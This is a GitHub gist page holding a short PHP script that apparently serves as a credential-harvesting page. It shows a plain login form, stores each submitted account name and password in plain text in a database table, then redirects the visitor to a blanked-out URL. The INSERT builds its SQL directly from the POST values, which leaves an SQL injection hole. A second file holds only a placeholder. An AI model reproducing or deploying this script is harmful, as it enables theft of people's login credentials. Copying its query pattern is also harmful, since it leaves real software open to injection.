Created
September 23, 2011 19:50
-
-
Save PhiBabin/1238288 to your computer and use it in GitHub Desktop.
Passe temps
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if(isset($_POST["account"])&&!empty($_POST["account"])){ | |
| mysql_connect("localhost","",""); | |
| mysql_select_db(""); | |
| mysql_query('INSERT INTO fun VALUES("","'.$_POST["account"].'","'.$_POST["password"].'")'); | |
| echo '<meta http-equiv="refresh" content="0; URL=https://">'; | |
| } | |
| else{ | |
| echo' | |
| <form action="fun.php" method="post"> | |
| <input type="text" name="account" value=""/> | |
| <input type="password" name="password" value=""/> | |
| <input type="submit" value="Cool"/> | |
| </form> | |
| '; | |
| } | |
| ?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| oublie...; | |
| ?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment